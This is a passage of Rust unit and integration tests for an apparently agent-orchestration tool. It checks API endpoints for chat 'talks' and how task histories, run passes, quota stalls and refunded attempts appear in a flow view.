16025        assert_eq!(atts[0]["mime"], "image/png");
16026
16027        // Not only in the response: `record` flushes to disk before the
16028        // agent's own turn is even spawned.
16029        let on_disk = f.talks().get(&id).expect("get");
16030        assert_eq!(on_disk.turns[0].attachments.len(), 1);
16031        assert_eq!(on_disk.turns[0].attachments[0].id, att_id);
16032    }
16033
16034    #[tokio::test]
16035    async fn saying_with_an_unknown_attachment_id_is_a_4xx_and_records_nothing() {
16036        let f = Fixture::start().await;
16037        let id = seed_talk(&f, "20260905-000000-a7b8", "open");
16038
16039        let res = f
16040            .post(
16041                &format!("/api/talks/{id}/say"),
16042                Some(&format!(
16043                    r#"{{"text":"hi","attachments":["{}"]}}"#,
16044                    "a".repeat(32)
16045                )),
16046            )
16047            .await;
16048        assert!((400..500).contains(&res.status), "{}", res.body);
16049        assert!(res.body.contains("unknown attachment"), "{}", res.body);
16050
16051        let on_disk = f.talks().get(&id).expect("get");
16052        assert!(
16053            on_disk.turns.is_empty(),
16054            "a rejected attachment id must not partially record the turn: {:?}",
16055            on_disk.turns
16056        );
16057    }
16058
16059    #[tokio::test]
16060    async fn talk_close_makes_the_talk_refuse_further_turns() {
16061        let f = Fixture::start().await;
16062        let id = seed_talk(&f, "20260904-014455-cd34", "open");
16063
16064        let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
16065        assert_eq!(closed.status, 200, "{}", closed.body);
16066        assert_eq!(closed.json()["status"], "closed");
16067
16068        // Idempotent: closing an already-closed talk is not an error.
16069        let closed_again = f.post(&format!("/api/talks/{id}/close"), None).await;
16070        assert_eq!(closed_again.status, 200);
16071        assert_eq!(closed_again.json()["status"], "closed");
16072
16073        let said = f
16074            .post(
16075                &format!("/api/talks/{id}/say"),
16076                Some(r#"{"text":"too late"}"#),
16077            )
16078            .await;
16079        assert_eq!(said.status, 409, "{}", said.body);
16080    }
16081
16082    #[tokio::test]
16083    async fn talk_reopen_lets_a_closed_talk_take_turns_again_and_is_idempotent() {
16084        let (_tmp, _repo, f) = talk_fixture().await;
16085        let id = f.post("/api/talks", None).await.json()["id"]
16086            .as_str()
16087            .expect("id")
16088            .to_owned();
16089        let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
16090        assert_eq!(closed.status, 200, "{}", closed.body);
16091
16092        let reopened = f.post(&format!("/api/talks/{id}/reopen"), None).await;
16093        assert_eq!(reopened.status, 200, "{}", reopened.body);
16094        assert_eq!(reopened.json()["status"], "open");
16095
16096        // Idempotent: reopening an already-open talk is not an error.
16097        let reopened_again = f.post(&format!("/api/talks/{id}/reopen"), None).await;
16098        assert_eq!(reopened_again.status, 200);
16099        assert_eq!(reopened_again.json()["status"], "open");
16100
16101        let said = f
16102            .post(
16103                &format!("/api/talks/{id}/say"),
16104                Some(r#"{"text":"still there?"}"#),
16105            )
16106            .await;
16107        assert_eq!(
16108            said.status, 202,
16109            "a reopened talk accepts turns again: {}",
16110            said.body
16111        );
16112    }
16113
16114    #[tokio::test]
16115    async fn talk_reopen_on_an_unknown_id_is_404() {
16116        let f = Fixture::start().await;
16117        let res = f.post("/api/talks/nonexistent-id/reopen", None).await;
16118        assert_eq!(res.status, 404, "{}", res.body);
16119    }
16120
16121    #[tokio::test]
16122    async fn talk_delete_removes_the_talk_from_disk_and_the_list() {
16123        let f = Fixture::start().await;
16124        let id = seed_talk(&f, "20260904-014455-ef56", "closed");
16125
16126        let deleted = f.delete(&format!("/api/talks/{id}")).await;
16127        assert_eq!(deleted.status, 204, "{}", deleted.body);
16128
16129        let after = f.get(&format!("/api/talks/{id}")).await;
16130        assert_eq!(after.status, 404, "{}", after.body);
16131
16132        let listed = f.get("/api/talks").await.json();
16133        assert!(
16134            listed.as_array().unwrap().iter().all(|t| t["id"] != id),
16135            "a deleted talk must not linger in the list: {listed}"
16136        );
16137    }
16138
16139    #[tokio::test]
16140    async fn talk_delete_on_an_unknown_id_is_404() {
16141        let f = Fixture::start().await;
16142        let res = f.delete("/api/talks/nonexistent-id").await;
16143        assert_eq!(res.status, 404, "{}", res.body);
16144    }
16145
16146    /// A task's page lists every run it ever had, in order, and says what kind
16147    /// of attempt each was - including a resume, which re-pushes the same run
16148    /// id, and a run whose record this build cannot read.
16149    #[tokio::test]
16150    async fn task_detail_lists_every_run_with_what_kind_of_attempt_it_was() {
16151        let f = Fixture::start().await;
16152        let (a, b, gone) = (
16153            "20260902-140501-aaaa",
16154            "20260902-140502-bbbb",
16155            "20260902-140503-cccc",
16156        );
16157        write_run(&f.runs(), a, RunStatus::Stalled);
16158        let mut review = RunState::new(
16159            PathBuf::from("/repo/magi"),
16160            "main".to_owned(),
16161            "0123456789abcdef".to_owned(),
16162            "Review the work already on branch `magi/aaaa/A`. There is no task statement."
16163                .to_owned(),
16164            Config::default(),
16165        );
16166        review.id = b.to_owned();
16167        review.status = RunStatus::Merged;
16168        write_state(&f.runs(), &review);
16169
16170        let mut task = Task::new(
16171            "retry".to_owned(),
16172            "Do the thing".to_owned(),
16173            PathBuf::from("/repo/magi"),
16174            Source::Human,
16175        );
16176        task.start(a.to_owned());
16177        task.stall("quota");
16178        task.start(a.to_owned());
16179        task.start(b.to_owned());
16180        task.start(gone.to_owned());
16181        // This fixture models an older queue file with repeated run entries.
16182        task.runs = [a, a, b, gone].map(str::to_owned).to_vec();
16183        f.queue().put(&mut task).expect("file the task");
16184
16185        let res = f.get(&format!("/api/queue/{}", task.id)).await;
16186        assert_eq!(res.status, 200, "{}", res.body);
16187        let v = res.json();
16188        let h = v["history"].as_array().expect("history");
16189        assert_eq!(h.len(), 4, "{v}");
16190        assert_eq!(h[0]["kind"], "competition");
16191        assert_eq!(h[0]["status"], "stalled");
16192        assert_eq!(h[0]["provisional"], true, "a stall is never a decision");
16193        assert_eq!(h[1]["kind"], "resume", "{v}");
16194        assert!(
16195            h[0]["outcome"]
16196                .as_str()
16197                .unwrap()
16198                .contains("unknown. Pass #2"),
16199            "an earlier pass of a resumed run must not claim the final outcome: {v}"
16200        );
16201        assert!(
16202            !h[1]["outcome"].as_str().unwrap().contains("unknown."),
16203            "{v}"
16204        );
16205        assert!(
16206            !h[0]["outcome"].as_str().unwrap().contains("parked it"),
16207            "an unrecorded cause must not be narrated as an operator park: {v}"
16208        );
16209        assert_eq!(h[2]["kind"], "review");
16210        assert!(
16211            h[2]["description"]
16212                .as_str()
16213                .unwrap()
16214                .contains("magi/aaaa/A")
16215        );
16216        assert_eq!(h[2]["status"], "merged");
16217        assert_eq!(h[3]["readable"], false, "an unreadable run is shown");
16218        assert_eq!(v["runs_unreadable"], 1);
16219        let nodes = v["flow"]["nodes"].as_array().expect("flow nodes");
16220        assert_eq!(nodes.len(), 6, "start + four passes + end: {v}");
16221        assert_eq!(nodes[4]["note"], "unreadable");
16222        assert_eq!(v["flow"]["edges"].as_array().unwrap().len(), 5);
16223        assert_eq!(v["instruction"], "Do the thing");
16224        assert!(v["attempts_note"].as_str().unwrap().contains("handed back"));
16225
16226        // The run's own page links back to the task.
16227        let run = f.get(&format!("/api/runs/{a}")).await.json();
16228        assert_eq!(run["task"]["id"], task.id.as_str(), "{run}");
16229
16230        assert_eq!(f.get("/api/queue/nosuchtask").await.status, 404);
16231    }
16232
16233    fn flow_run(status: RunStatus, edit: impl FnOnce(&mut RunState)) -> RunState {
16234        let mut s = RunState::new(
16235            PathBuf::from("/repo/magi"),
16236            "main".to_owned(),
16237            "0123456789abcdef".to_owned(),
16238            "Do it".to_owned(),
16239            Config::default(),
16240        );
16241        s.status = status;
16242        edit(&mut s);
16243        s
16244    }
16245
16246    fn flow_task(runs: &[&str]) -> Task {
16247        let mut t = Task::new(
16248            "t".to_owned(),
16249            "Do it".to_owned(),
16250            PathBuf::from("/repo/magi"),
16251            Source::Human,
16252        );
16253        for r in runs {
16254            t.start((*r).to_owned());
16255        }
16256        // Synthetic flows without RunPass records model legacy queue data.
16257        t.runs = runs.iter().map(|r| (*r).to_owned()).collect();
16258        t
16259    }
16260
16261    fn flow_for(task: &Task, states: &[(&str, Option<RunState>)]) -> FlowView {
16262        let h = task_history(task, |id| {
16263            states
16264                .iter()
16265                .find(|(i, _)| *i == id)
16266                .and_then(|(_, s)| s.clone())
16267        });
16268        task_flow(task, &h, 5, None)
16269    }
16270
16271    #[test]
16272    fn flow_start_times_use_each_pass_not_run_updates_or_settlements() {
16273        let queued = "2026-10-10T00:00:00Z".parse().unwrap();
16274        let created = "2026-10-10T01:00:00Z".parse().unwrap();
16275        let first = "2026-10-10T02:00:00Z".parse().unwrap();
16276        let resumed = "2026-10-10T03:00:00Z".parse().unwrap();
16277        let held = "2026-10-10T04:00:00Z".parse().unwrap();
16278        let run = flow_run(RunStatus::Implementing, |s| {
16279            s.created_at = created;
16280            s.passes = vec![recorded_pass(0, None), recorded_pass(1, None)];
16281            s.passes[0].started_at = first;
16282            s.passes[1].started_at = resumed;
16283        });
16284        let mut task = flow_task(&[RUN_X, RUN_X]);
16285        task.created_at = queued;
16286        task.passes = vec![settled_pass(RUN_X, 0, crate::queue::PassCost::Refunded)];
16287        task.status = TaskStatus::Held;
16288        task.held_at = Some(held);
16289        let flow = flow_for(&task, &[(RUN_X, Some(run))]);
16290        assert_eq!(
16291            flow.nodes.iter().map(|n| n.started_at).collect::<Vec<_>>(),
16292            vec![Some(queued), Some(first), Some(resumed), Some(held)]
16293        );
16294        assert!(flow.nodes.iter().all(|n| n.time_expected));
16295        let json = serde_json::to_value(&flow).unwrap();
16296        assert_eq!(json["nodes"][2]["started_at"], resumed.to_string());
16297        assert_eq!(json["nodes"][2]["time_expected"], true);
16298    }
16299
16300    #[test]
16301    fn flow_start_times_leave_legacy_resumes_unreadable_and_status_starts_unknown() {
16302        let created = "2026-10-10T01:00:00Z".parse().unwrap();
16303        let run = flow_run(RunStatus::Implementing, |s| s.created_at = created);
16304        let mut task = flow_task(&[RUN_X, RUN_X, "missing"]);
16305        // These timestamps are not the start of the current status.
16306        task.held_at = Some(created);
16307        task.blocked_at = Some(created);
16308        for status in [
16309            TaskStatus::Queued,
16310            TaskStatus::Running,
16311            TaskStatus::Blocked,
16312            TaskStatus::Done,
16313            TaskStatus::Failed,
16314            TaskStatus::Parked,
16315            TaskStatus::Held,
16316        ] {
16317            task.status = status;
16318            if status == TaskStatus::Held {
16319                task.held_at = None;
16320            }
16321            let flow = flow_for(&task, &[(RUN_X, Some(run.clone()))]);
16322            assert_eq!(flow.nodes[1].started_at, Some(created));
16323            assert_eq!(flow.nodes[2].started_at, None, "legacy resume");
16324            assert_eq!(flow.nodes[3].started_at, None, "unreadable run");
16325            assert_eq!(flow.nodes[4].started_at, None, "{status:?}");
16326            let json = serde_json::to_value(&flow).unwrap();
16327            assert!(json["nodes"][3]["started_at"].is_null());
16328            assert_eq!(json["nodes"][3]["time_expected"], true);
16329        }
16330    }
16331
16332    #[test]
16333    fn flow_context_links_do_not_expect_start_times() {
16334        let mut task = flow_task(&[]);
16335        task.source = Source::Agent {
16336            run: "chat-id".to_owned(),
16337            node: "chat".to_owned(),
16338        };
16339        let origin = followup_origin(&fu(None), |_| None, |_| None);
16340        let flow = task_flow(&task, &[], 5, Some(&origin));
16341        for node in &flow.nodes[..2] {
16342            assert!(!node.time_expected);
16343            assert_eq!(node.started_at, None);
16344        }
16345        assert!(flow.nodes[2].time_expected);
16346    }
16347
16348    fn fu(origin_task: Option<&str>) -> crate::queue::FollowUp {
16349        crate::queue::FollowUp {
16350            run: "20260901-000000-aaaa".to_owned(),
16351            origin_task: origin_task.map(str::to_owned),
16352            pr: "https://example.com/o/r/pull/1".to_owned(),
16353            findings: ["R3-1-1", "R3-1-2", "R3-1-3", "R3-1-4"]
16354                .map(str::to_owned)
16355                .to_vec(),
16356            generation: 1,
16357        }
16358    }
16359
16360    fn parent_task() -> Task {
16361        let mut p = flow_task(&[]);
16362        p.title = "Parent title".to_owned();
16363        p.status = TaskStatus::Done;
16364        p
16365    }
16366
16367    #[test]
16368    fn flow_opens_with_the_parent_task_of_a_followup() {
16369        let p = parent_task();
16370        let pid = p.id.clone();
16371        let o = followup_origin(&fu(Some(&pid)), |i| (i == pid).then(|| p.clone()), |_| None);
16372        let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
16373        let n = &f.nodes[0];
16374        assert_eq!((n.kind, n.key.as_str()), ("followup", "origin"));
16375        assert_eq!(
16376            n.label,
16377            format!("Follow-up of {}", crate::queue::short(&pid))
16378        );
16379        assert_eq!(n.detail.as_deref(), Some("Parent title"));
16380        assert_eq!(n.status, Some("done"));
16381        assert_eq!(n.status_of, "task");
16382        assert_eq!(n.href.as_deref(), Some(format!("#/tasks/{pid}").as_str()));
16383        assert_eq!(f.nodes[1].key, "start");
16384        assert_eq!(f.edges[0].from, "origin");
16385        assert_eq!(
16386            f.edges[0].label,
16387            "open findings R3-1-1, R3-1-2, R3-1-3 +1 more"
16388        );
16389    }
16390
16391    #[test]
16392    fn flow_falls_back_to_the_merged_run_when_the_parent_is_gone() {
16393        let o = followup_origin(
16394            &fu(Some("gone")),
16395            |_| None,
16396            |_| {
16397                Some(RunState::new(
16398                    std::path::PathBuf::from("."),
16399                    "main".to_owned(),
16400                    "0".to_owned(),
16401                    "t".to_owned(),
16402                    crate::config::Config::default(),
16403                ))
16404            },
16405        );
16406        assert!(o.parent.is_none());
16407        let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
16408        let n = &f.nodes[0];
16409        assert_eq!(n.status_of, "run");
16410        assert_eq!(n.href.as_deref(), Some("#/runs/20260901-000000-aaaa"));
16411        assert!(n.label.starts_with("Follow-up of run "), "{}", n.label);
16412    }
16413
16414    #[test]
16415    fn flow_followup_with_nothing_readable_has_no_link() {
16416        let o = followup_origin(&fu(None), |_| panic!("no parent id to look up"), |_| None);
16417        let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
16418        let n = &f.nodes[0];
16419        assert_eq!(n.href, None);
16420        assert_eq!(n.note, Some("unreadable"));
16421        assert!(!n.readable);
16422    }
16423
16424    #[test]
16425    fn flow_keeps_the_chat_first_only_when_the_source_is_a_chat() {
16426        let o = followup_origin(&fu(None), |_| None, |_| None);
16427        let mut t = flow_task(&[]);
16428        t.origin_chat = Some("c1".to_owned());
16429        let f = task_flow(&t, &[], 5, Some(&o));
16430        assert_eq!(f.nodes[0].kind, "followup", "inherited chat adds no node");
16431        t.source = Source::Agent {
16432            run: "c1".to_owned(),
16433            node: crate::queue::CHAT_NODE.to_owned(),
16434        };
16435        let f = task_flow(&t, &[], 5, Some(&o));
16436        assert_eq!((f.nodes[0].kind, f.nodes[1].kind), ("chat", "followup"));
16437        assert_eq!(
16438            (f.edges[0].from.as_str(), f.edges[0].to.as_str()),
16439            ("chat", "origin")
16440        );
16441    }
16442
16443    #[test]
16444    fn followup_origin_encodes_ids_and_survives_a_self_reference() {
16445        let mut p = parent_task();
16446        p.id = "a b/c".to_owned();
16447        let o = followup_origin(&fu(Some("a b/c")), |_| Some(p.clone()), |_| None);
16448        assert_eq!(o.parent.expect("parent").href, "#/tasks/a%20b%2Fc");
16449    }
16450
16451    #[test]
16452    fn flow_opens_with_the_chat_that_queued_the_task() {
16453        let mut t = flow_task(&[]);
16454        t.source = Source::Agent {
16455            run: "a b/c".to_owned(),
16456            node: crate::queue::CHAT_NODE.to_owned(),
16457        };
16458        let f = flow_for(&t, &[]);
16459        assert_eq!(f.nodes[0].key, "chat");
16460        assert_eq!(f.nodes[0].kind, "chat");
16461        assert_eq!(
16462            f.nodes[0].label,
16463            format!("Chat {}", crate::queue::short("a b/c"))
16464        );
16465        assert_eq!(f.nodes[0].href.as_deref(), Some("#/chat/a%20b%2Fc"));
16466        assert_eq!(f.nodes[1].key, "start");
16467        assert_eq!(
16468            f.edges[0],
16469            FlowEdge {
16470                from: "chat".to_owned(),
16471                to: "start".to_owned(),
16472                label: "queued from chat".to_owned(),
16473                attempt: AttemptCost::None,
16474            }
16475        );
16476    }
16477
16478    #[test]
16479    fn flow_has_no_chat_box_for_other_sources() {
16480        for source in [
16481            Source::Human,
16482            Source::Issue {
16483                number: 3,
16484                repo: "o/r".to_owned(),
16485            },
16486            Source::Agent {
16487                run: "20260904-014455-ab12".to_owned(),
16488                node: "implement".to_owned(),
16489            },
16490        ] {
16491            let mut t = flow_task(&[]);
16492            t.source = source;
16493            let f = flow_for(&t, &[]);
16494            assert_eq!(f.nodes[0].key, "start");
16495            assert!(f.nodes.iter().all(|n| n.kind != "chat"));
16496            assert!(f.edges.iter().all(|e| e.from != "chat"));
16497        }
16498    }
16499
16500    const FA: &str = "20260902-140501-aaaa";
16501    const FB: &str = "20260902-140502-bbbb";
16502
16503    #[test]
16504    fn flow_follows_blocked_retry_merged_to_done() {
16505        let mut t = flow_task(&[FA, FB]);
16506        t.status = TaskStatus::Done;
16507        let f = flow_for(
16508            &t,
16509            &[
16510                (FA, Some(flow_run(RunStatus::Blocked, |_| {}))),
16511                (FB, Some(flow_run(RunStatus::Merged, |_| {}))),
16512            ],
16513        );
16514        let keys: Vec<_> = f.nodes.iter().map(|n| n.key.as_str()).collect();
16515        assert_eq!(keys, ["start", "run-1", "run-2", "end"]);
16516        assert_eq!(f.edges.len(), 3);
16517        assert_eq!(f.edges[0].label, "claimed");
16518        assert_eq!(f.edges[1].label, "blocked, attempt spent \u{2192} retry");
16519        assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
16520        assert_eq!(f.edges[2].label, "merged \u{2192} done");
16521        assert_eq!(
16522            f.nodes[2].href.as_deref(),
16523            Some("#/runs/20260902-140502-bbbb")
16524        );
16525        assert!(f.nodes[2].decided);
16526    }
16527
16528    #[test]
16529    fn flow_quota_stall_is_refunded_and_never_decided_then_resumes() {
16530        let quota = || {
16531            flow_run(RunStatus::Stalled, |s| {
16532                s.quota.push(crate::run::QuotaLoss {
16533                    cause: crate::agent::QuotaCause::UsageLimit,
16534                    agent: String::new(),
16535                    seat: "judge-1".to_owned(),
16536                    node: "judge".to_owned(),
16537                    at: Timestamp::now(),
16538                    reset: None,
16539                })
16540            })
16541        };
16542        let mut t = flow_task(&[FA, FA]);
16543        t.status = TaskStatus::Queued;
16544        let f = flow_for(&t, &[(FA, Some(quota()))]);
16545        assert_eq!(f.nodes.len(), 4, "a repeated id is one node per pass");
16546        assert_eq!(f.nodes[1].note, Some("interrupted"));
16547        assert_eq!(
16548            f.nodes[1].status, None,
16549            "no outcome copied onto an earlier pass"
16550        );
16551        assert_eq!(
16552            f.edges[1].attempt,
16553            AttemptCost::Unknown,
16554            "a resume does not prove the earlier pass was refunded"
16555        );
16556        assert!(f.edges[1].label.contains("resume the same run"));
16557        assert_eq!(f.edges[2].attempt, AttemptCost::Unknown);
16558        assert_eq!(
16559            f.edges[2].label,
16560            "stalled after a resume, refund unknown \u{2192} queued"
16561        );
16562        assert!(!f.nodes[2].decided, "a stall is not a decision");
16563        assert_eq!(f.nodes[2].note, Some("no verdict"));
16564    }
16565
16566    #[test]
16567    fn flow_single_pass_quota_stall_is_refunded() {
16568        let t = flow_task(&[FA]);
16569        let f = flow_for(
16570            &t,
16571            &[(
16572                FA,
16573                Some(flow_run(RunStatus::Stalled, |s| {
16574                    s.quota.push(crate::run::QuotaLoss {
16575                        cause: crate::agent::QuotaCause::UsageLimit,
16576                        agent: String::new(),
16577                        seat: "judge-1".to_owned(),
16578                        node: "judge".to_owned(),
16579                        at: Timestamp::now(),
16580                        reset: None,
16581                    })
16582                })),
16583            )],
16584        );
16585        assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
16586    }
16587
16588    #[test]
16589    fn flow_parked_refunds_and_stall_without_quota_spends() {
16590        let mut t = flow_task(&[FA]);
16591        t.status = TaskStatus::Queued;
16592        let f = flow_for(
16593            &t,
16594            &[(
16595                FA,
16596                Some(flow_run(RunStatus::Implementing, |s| s.parked = true)),
16597            )],
16598        );
16599        assert_eq!(f.edges[1].label, "parked, attempt refunded \u{2192} queued");
16600        assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
16601        let f = flow_for(&t, &[(FA, Some(flow_run(RunStatus::Stalled, |_| {})))]);
16602        assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
16603        assert!(!f.nodes[1].decided);
16604    }
16605
16606    #[test]
16607    fn flow_keeps_an_unreadable_run_as_its_own_node() {
16608        let t = flow_task(&[FA, FB]);
16609        let f = flow_for(&t, &[(FB, Some(flow_run(RunStatus::Blocked, |_| {})))]);
16610        assert_eq!(f.nodes[1].note, Some("unreadable"));
16611        assert!(!f.nodes[1].readable);
16612        assert_eq!(f.nodes[1].run_kind, Some("unknown"));
16613        assert_eq!(f.edges[1].attempt, AttemptCost::Unknown);
16614    }
16615
16616    #[test]
16617    fn flow_names_the_branch_of_a_review_only_run() {
16618        let t = flow_task(&[FA]);
16619        let f = flow_for(
16620            &t,
16621            &[(
16622                FA,
16623                Some(flow_run(RunStatus::Merged, |s| {
16624                    s.instruction = "Review the work already on branch `magi/x/A`. Go.".to_owned()
16625                })),
16626            )],
16627        );
16628        assert_eq!(f.edges[0].label, "review-only run of branch magi/x/A");
16629        assert_eq!(
16630            f.nodes[1].detail.as_deref(),
16631            Some("review-only run of branch magi/x/A")
16632        );
16633    }
16634
16635    #[test]
16636    fn flow_ends_held_with_the_pr_left_open_and_flags_hand_edits() {
16637        let mut t = flow_task(&[FA]);
16638        t.status = TaskStatus::Held;
16639        let pr = crate::run::PrRecord {
16640            url: "https://example.test/pr/1".to_owned(),
16641            number: 1,
16642            state: "open".to_owned(),
16643            checks: "green".to_owned(),
16644            round: 0,
16645            rounds: 3,
16646            red_at_merge: Vec::new(),
16647        };
16648        let blocked = flow_run(RunStatus::Blocked, |s| s.pr = Some(pr));
16649        let f = flow_for(&t, &[(FA, Some(blocked.clone()))]);
16650        assert_eq!(f.edges[1].label, "blocked, PR left open \u{2192} held");
16651        t.status = TaskStatus::Done;
16652        let f = flow_for(&t, &[(FA, Some(blocked))]);
16653        assert_eq!(f.edges[1].label, "closed by hand: task is done");
16654    }
16655
16656    #[test]
16657    fn flow_with_no_runs_goes_from_queued_to_queued() {
16658        let t = flow_task(&[]);
16659        let f = flow_for(&t, &[]);
16660        assert_eq!(f.nodes.len(), 2);
16661        assert_eq!(f.edges.len(), 1);
16662        assert_eq!(f.edges[0].label, "no run yet \u{2192} queued");
16663        assert_eq!(f.edges[0].attempt, AttemptCost::None);
16664    }
16665
16666    /// A run parked mid-flight keeps a non-terminal status; the page must
16667    /// still say why it stopped and that the attempt came back.
16668    #[test]
16669    fn a_parked_non_terminal_run_is_explained_as_parked() {
16670        let mut s = RunState::new(
16671            PathBuf::from("/repo/magi"),
16672            "main".to_owned(),
16673            "0123456789abcdef".to_owned(),
16674            "Do it".to_owned(),
16675            Config::default(),
16676        );
16677        s.status = RunStatus::Implementing;
16678        s.parked = true;
16679        let task = Task::new(
16680            "t".to_owned(),
16681            "Do it".to_owned(),
16682            PathBuf::from("/repo/magi"),
16683            Source::Human,
16684        );
16685        let v = task_run_view(
16686            "20260902-140501-aaaa",
16687            Some(&s),
16688            RunSlot {
16689                n: 1,
16690                resumed: false,
16691                resumed_later: None,
16692                prior: None,
16693                last: true,
16694                ..RunSlot::default()
16695            },
16696            &task,
16697        );
16698        assert!(v.outcome.contains("Parked"), "{}", v.outcome);
16699    }
16700
16701    fn earlier_pass_view(edit: impl FnOnce(&mut RunState)) -> TaskRunView {
16702        let mut s = flow_run(RunStatus::Implementing, edit);
16703        s.parked = false;
16704        let task = flow_task(&["20260902-140501-aaaa", "20260902-140501-aaaa"]);
16705        task_run_view(
16706            "20260902-140501-aaaa",
16707            Some(&s),
16708            RunSlot {
16709                n: 1,
16710                resumed: false,
16711                resumed_later: Some(2),
16712                prior: None,
16713                last: false,
16714                ..RunSlot::default()
16715            },
16716            &task,
16717        )
16718    }
16719
16720    #[test]
16721    fn an_earlier_pass_with_no_recorded_cause_is_unknown_not_parked() {
16722        let v = earlier_pass_view(|_| {});
16723        assert!(v.outcome.contains("not recorded"), "{}", v.outcome);
16724        assert!(v.outcome.contains("unknown"), "{}", v.outcome);
16725        assert!(!v.outcome.contains("parked it"), "{}", v.outcome);
16726        assert!(!v.outcome.contains("handed back."), "{}", v.outcome);
16727        assert_eq!(v.exit, RunExit::Interrupted);
16728        assert_eq!(v.attempt, AttemptCost::Unknown);
16729    }
16730
16731    #[test]
16732    fn an_earlier_pass_with_a_recorded_rate_limit_does_not_claim_it_as_the_cause() {
16733        let v = earlier_pass_view(|s| {
16734            s.quota.push(crate::run::QuotaLoss {
16735                cause: crate::agent::QuotaCause::UsageLimit,
16736                agent: String::new(),
16737                seat: "judge-1".to_owned(),
16738                node: "judge".to_owned(),
16739                at: Timestamp::now(),
16740                reset: None,
16741            });
16742        });
16743        assert!(v.outcome.contains("may or may not"), "{}", v.outcome);
16744        assert!(v.outcome.contains("unknown"), "{}", v.outcome);
16745        assert_eq!(v.attempt, AttemptCost::Unknown);
16746    }
16747
16748    #[test]
16749    fn the_current_pass_states_its_recorded_cause_and_cost() {
16750        let slot = || RunSlot {
16751            n: 1,
16752            resumed: false,
16753            resumed_later: None,
16754            prior: None,
16755            last: true,
16756            ..RunSlot::default()
16757        };
16758        let task = flow_task(&["20260902-140501-aaaa"]);
16759        let parked = flow_run(RunStatus::Implementing, |s| s.parked = true);
16760        let v = task_run_view("20260902-140501-aaaa", Some(&parked), slot(), &task);
16761        assert_eq!(
16762            (v.exit, v.attempt),
16763            (RunExit::Parked, AttemptCost::Refunded)
16764        );
16765        let spent = flow_run(RunStatus::Blocked, |_| {});
16766        let v = task_run_view("20260902-140501-aaaa", Some(&spent), slot(), &task);
16767        assert_eq!(v.attempt, AttemptCost::Spent);
16768        assert!(v.outcome.contains("spent an attempt"), "{}", v.outcome);
16769    }
16770
16771    fn recorded_pass(index: usize, end: Option<crate::run::PassEnd>) -> crate::run::RunPass {
16772        crate::run::RunPass {
16773            index,
16774            started_at: Timestamp::now(),
16775            resumed: index > 0,
16776            ended_at: end.as_ref().map(|_| Timestamp::now()),
16777            end,
16778            task_entry: true,
16779        }
16780    }
16781
16782    fn parked(cause: crate::run::ParkCause) -> Option<crate::run::PassEnd> {
16783        Some(crate::run::PassEnd::Parked { cause })
16784    }
16785
16786    fn upgrade_cause() -> crate::run::ParkCause {
16787        crate::run::ParkCause::Upgrade {
16788            from: "0.121.0".to_owned(),
16789            to: Some("0.121.1".to_owned()),
16790        }
16791    }
16792
16793    fn settled_pass(
16794        run: &str,
16795        index: usize,
16796        cost: crate::queue::PassCost,
16797    ) -> crate::queue::TaskPass {
16798        crate::queue::TaskPass {
16799            run: run.to_owned(),
16800            pass_index: index,
16801            started_at: None,
16802            cost,
16803            attempts_after: 1,
16804            settled_at: Timestamp::now(),
16805            parked: None,
16806        }
16807    }
16808
16809    const RUN_X: &str = "20261011-223708-4334";
16810
16811    #[test]
16812    fn an_upgrade_pause_and_its_resume_are_two_passes_of_one_run_and_one_attempt() {
16813        use crate::queue::PassCost;
16814        let run = flow_run(RunStatus::Implementing, |s| {
16815            s.passes = vec![
16816                recorded_pass(0, parked(upgrade_cause())),
16817                recorded_pass(1, None),
16818            ];
16819        });
16820        let mut task = flow_task(&[RUN_X, RUN_X]);
16821        task.attempts = 1;
16822        task.passes = vec![settled_pass(RUN_X, 0, PassCost::Refunded)];
16823        let h = task_history(&task, |_| Some(run.clone()));
16824        assert_eq!(h.len(), 2);
16825        assert_eq!(h[0].kind, "competition");
16826        assert_eq!(h[1].kind, "resume");
16827        assert_eq!(
16828            (h[0].exit, h[0].attempt),
16829            (RunExit::Parked, AttemptCost::Refunded)
16830        );
16831        assert!(
16832            h[0].outcome.contains("upgrade 0.121.0 \u{2192} 0.121.1"),
16833            "{}",
16834            h[0].outcome
16835        );
16836        assert!(h[0].outcome.contains("handed back"), "{}", h[0].outcome);
16837        assert!(
16838            h[0].outcome.contains("pass #2 resumed the same run"),
16839            "{}",
16840            h[0].outcome
16841        );
16842        assert!(
16843            h[0].outcome.contains("pass 1 of 2 over run"),
16844            "{}",
16845            h[0].outcome
16846        );
16847        assert!(!h[0].outcome.contains("not recorded"), "{}", h[0].outcome);
16848        assert_eq!(
16849            h[0].exit_label,
16850            "parked for upgrade 0.121.0 \u{2192} 0.121.1, attempt refunded"
16851        );
16852        let f = task_flow(&task, &h, 2, None);
16853        // Two passes of one run, one of two attempts consumed.
16854        assert_eq!((f.passes, f.runs, f.attempts, f.max_attempts), (2, 1, 1, 2));
16855        assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
16856        assert!(
16857            f.edges[1].label.contains("upgrade 0.121.0"),
16858            "{}",
16859            f.edges[1].label
16860        );
16861        assert!(
16862            f.edges[1].label.contains("resume the same run"),
16863            "{}",
16864            f.edges[1].label
16865        );
16866        assert_eq!(f.nodes[1].note, Some("parked"));
16867    }
16868
16869    #[test]
16870    fn distinct_run_ids_render_all_recorded_passes_in_time_order() {
16871        let mut a = flow_run(RunStatus::Implementing, |s| {
16872            s.passes = vec![
16873                recorded_pass(0, parked(upgrade_cause())),
16874                recorded_pass(1, None),
16875            ];
16876        });
16877        let mut b = flow_run(RunStatus::Failed, |s| {
16878            s.passes = vec![recorded_pass(0, None)];
16879        });
16880        a.passes[0].started_at = "2026-10-10T00:00:00Z".parse().unwrap();
16881        b.passes[0].started_at = "2026-10-10T01:00:00Z".parse().unwrap();
16882        a.passes[1].started_at = "2026-10-10T02:00:00Z".parse().unwrap();
16883        let mut task = flow_task(&[]);
16884        task.start("a".into());
16885        task.start("b".into());
16886        task.start("a".into());
16887        assert_eq!(task.runs, ["b", "a"]);
16888        task.passes = vec![settled_pass("a", 0, crate::queue::PassCost::Refunded)];
16889        let h = task_history(&task, |id| {
16890            Some(if id == "a" { a.clone() } else { b.clone() })
16891        });
